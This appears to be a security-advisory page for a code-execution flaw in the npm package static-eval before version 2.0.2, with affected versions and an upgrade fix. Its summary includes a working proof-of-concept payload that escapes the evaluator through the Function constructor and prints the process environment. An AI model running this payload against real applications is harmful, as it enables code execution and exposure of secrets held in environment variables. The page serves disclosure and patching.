Sandbox Breakout / Arbitrary Code Execution in static-eval
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- Code execution
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-94.
Summary
Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package. ## Proof of concept ``` var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = process.argv[2]; var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()' var ast = parse(payload).body[0].expression; console.log(evaluate(ast, {x:1})); ``` ## Recommendation Upgrade to version 2.0.2 or later.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | static-eval (npm) | before 2.0.2 | 2.0.2 | Patch available | GHSA-x9hc-rw35-f44h |
- static-eval (npm) Vendor— Affected before 2.0.2 Fixed in 2.0.2 Patch available GHSA-x9hc-rw35-f44h
Remediation
- Fix · GHSA-x9hc-rw35-f44h static-eval (npm) Fixed in 2.0.2 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-x9hc-rw35-f44h
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences